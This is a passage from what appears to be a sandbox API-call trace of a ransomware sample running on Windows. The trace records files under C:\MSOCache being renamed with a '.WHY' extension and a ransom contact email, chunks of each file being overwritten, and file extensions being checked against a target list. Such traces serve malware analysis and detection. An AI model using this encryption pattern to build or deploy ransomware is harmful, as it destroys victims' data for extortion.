dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.119] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.119] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.586] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.586] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x339fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x339fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0062.086] SetEndOfFile (hFile=0x1a4) returned 1 [0062.086] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4026068 [0062.097] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.097] WriteFile (in: hFile=0x1a4, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.102] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.102] WriteFile (in: hFile=0x1a4, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.758] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.758] WriteFile (in: hFile=0x1a4, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.770] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4026068 | out: hHeap=0x4c0000) returned 1 [0063.104] CloseHandle (hObject=0x1a4) returned 1 [0064.437] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.438] lstrlenW (lpString=".doc") returned 4 [0064.438] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.438] lstrlenW (lpString=".docx") returned 5 [0064.438] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.439] lstrlenW (lpString=".pdf") returned 4 [0064.439] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.439] lstrlenW (lpString=".xls") returned 4 [0064.439] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.439] lstrlenW (lpString=".xlsx") returned 5 [0064.439] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.439] lstrlenW (lpString=".ppt") returned 4 [0064.439] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.439] lstrlenW (lpString=".zip") returned 4 [0064.439] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.439] lstrlenW (lpString=".rar") returned 4 [0064.439] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.440] lstrlenW (lpString=".bz2") returned 4 [0064.440] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.440] lstrlenW (lpString=".7z") returned 3 [0064.440] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.440] lstrlenW (lpString=".dbf") returned 4 [0064.440] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.440] lstrlenW (lpString=".1cd") returned 4 [0064.440] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.440] lstrlenW (lpString=".jpg") returned 4 [0064.440] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.441] lstrlenW (lpString=".doc") returned 4 [0064.441] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.441] lstrlenW (lpString=".docx") returned 5 [0064.441] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.441] lstrlenW (lpString=".pdf") returned 4 [0064.441] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.441] lstrlenW (lpString=".xls") returned 4 [0064.441] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.441] lstrlenW (lpString=".xlsx") returned 5 [0064.441] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.441] lstrlenW (lpString=".ppt") returned 4 [0064.442] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.442] lstrlenW (lpString=".zip") returned 4 [0064.442] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.442] lstrlenW (lpString=".rar") returned 4 [0064.442] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.442] lstrlenW (lpString=".bz2") returned 4 [0064.442] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.442] lstrlenW (lpString=".7z") returned 3 [0064.442] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.442] lstrlenW (lpString=".dbf") returned 4 [0064.442] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.443] lstrlenW (lpString=".1cd") returned 4 [0064.443] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.443] lstrlenW (lpString=".jpg") returned 4 [0064.443] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.443] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0064.443] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0064.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.444] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=2513920) returned 1 [0064.444] CloseHandle (hObject=0x1a4) returned 1 [0064.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0064.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.445] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0064.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.447] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.447] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.447] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.468] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.468] ReadFile (in: hFile=0x1a4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.318] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0065.319] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0065.319] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.487] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.487] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x339fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x339fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0066.329] SetEndOfFile (hFile=0x1a4) returned 1 [0066.330] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4022060 [0066.512] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.512] WriteFile (in: hFile=0x1a4, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.518] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.519] WriteFile (in: hFile=0x1a4, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.930] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.930] WriteFile (in: hFile=0x1a4, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.945] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4022060 | out: hHeap=0x4c0000) returned 1 [0066.953] CloseHandle (hObject=0x1a4) returned 1 [0068.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0069.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.019] lstrlenW (lpString=".doc") returned 4 [0069.019] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.019] lstrlenW (lpString=".docx") returned 5 [0069.019] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0069.019] lstrlenW (lpString=".pdf") returned 4 [0069.019] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.019] lstrlenW (lpString=".xls") returned 4 [0069.019] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.020] lstrlenW (lpString=".xlsx") returned 5 [0069.020] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0069.020] lstrlenW (lpString=".ppt") returned 4 [0069.020] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.020] lstrlenW (lpString=".zip") returned 4 [0069.020] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.020] lstrlenW (lpString=".rar") returned 4 [0069.020] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.020] lstrlenW (lpString=".bz2") returned 4 [0069.020] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.020] lstrlenW (lpString=".7z") returned 3 [0069.020] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.021] lstrlenW (lpString=".dbf") returned 4 [0069.021] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.021] lstrlenW (lpString=".1cd") returned 4 [0069.021] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.021] lstrlenW (lpString=".jpg") returned 4 [0069.021] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.021] lstrlenW (lpString=".doc") returned 4 [0069.021] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.022] lstrlenW (lpString=".docx") returned 5 [0069.022] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0069.022] lstrlenW (lpString=".pdf") returned 4 [0069.022] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.022] lstrlenW (lpString=".xls") returned 4 [0069.022] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.022] lstrlenW (lpString=".xlsx") returned 5 [0069.022] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0069.022] lstrlenW (lpString=".ppt") returned 4 [0069.022] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.022] lstrlenW (lpString=".zip") returned 4 [0069.022] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.022] lstrlenW (lpString=".rar") returned 4 [0069.022] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.022] lstrlenW (lpString=".bz2") returned 4 [0069.022] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.023] lstrlenW (lpString=".7z") returned 3 [0069.023] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.023] lstrlenW (lpString=".dbf") returned 4 [0069.023] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.023] lstrlenW (lpString=".1cd") returned 4 [0069.023] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0069.023] lstrlenW (lpString=".jpg") returned 4 [0069.023] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.023] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0069.024] lstrlenW (lpString="OutlkLR.cab") returned 11 [0069.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0069.852] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=14819276) returned 1 [0069.853] CloseHandle (hObject=0x1a4) returned 1 [0069.853] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0069.853] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0069.853] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0069.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.251] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0x0) returned 1 [0070.251] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.251] ReadFile (in: hFile=0x200, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.269] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.269] ReadFile (in: hFile=0x200, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.283] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.283] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.283] ReadFile (in: hFile=0x200, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.519] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.520] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x339fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x339fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0070.868] SetEndOfFile (hFile=0x200) returned 1 [0070.869] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4022060 [0070.869] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.869] WriteFile (in: hFile=0x200, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.871] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.872] WriteFile (in: hFile=0x200, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.874] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x339fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.875] WriteFile (in: hFile=0x200, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x339fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.879] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4022060 | out: hHeap=0x4c0000) returned 1 [0070.879] CloseHandle (hObject=0x200) returned 1 [0081.233] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0081.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.654] lstrlenW (lpString=".doc") returned 4 [0081.654] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.654] lstrlenW (lpString=".docx") returned 5 [0081.654] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0081.654] lstrlenW (lpString=".pdf") returned 4 [0081.654] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.654] lstrlenW (lpString=".xls") returned 4 [0081.655] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.655] lstrlenW (lpString=".xlsx") returned 5 [0081.655] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0081.655] lstrlenW (lpString=".ppt") returned 4 [0081.655] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.655] lstrlenW (lpString=".zip") returned 4 [0081.655] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.655] lstrlenW (lpString=".rar") returned 4 [0081.655] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.655] lstrlenW (lpString=".bz2") returned 4 [0081.655] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.655] lstrlenW (lpString=".7z") returned 3 [0081.655] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.656] lstrlenW (lpString=".dbf") returned 4 [0081.656] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.656] lstrlenW (lpString=".1cd") returned 4 [0081.656] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.656] lstrlenW 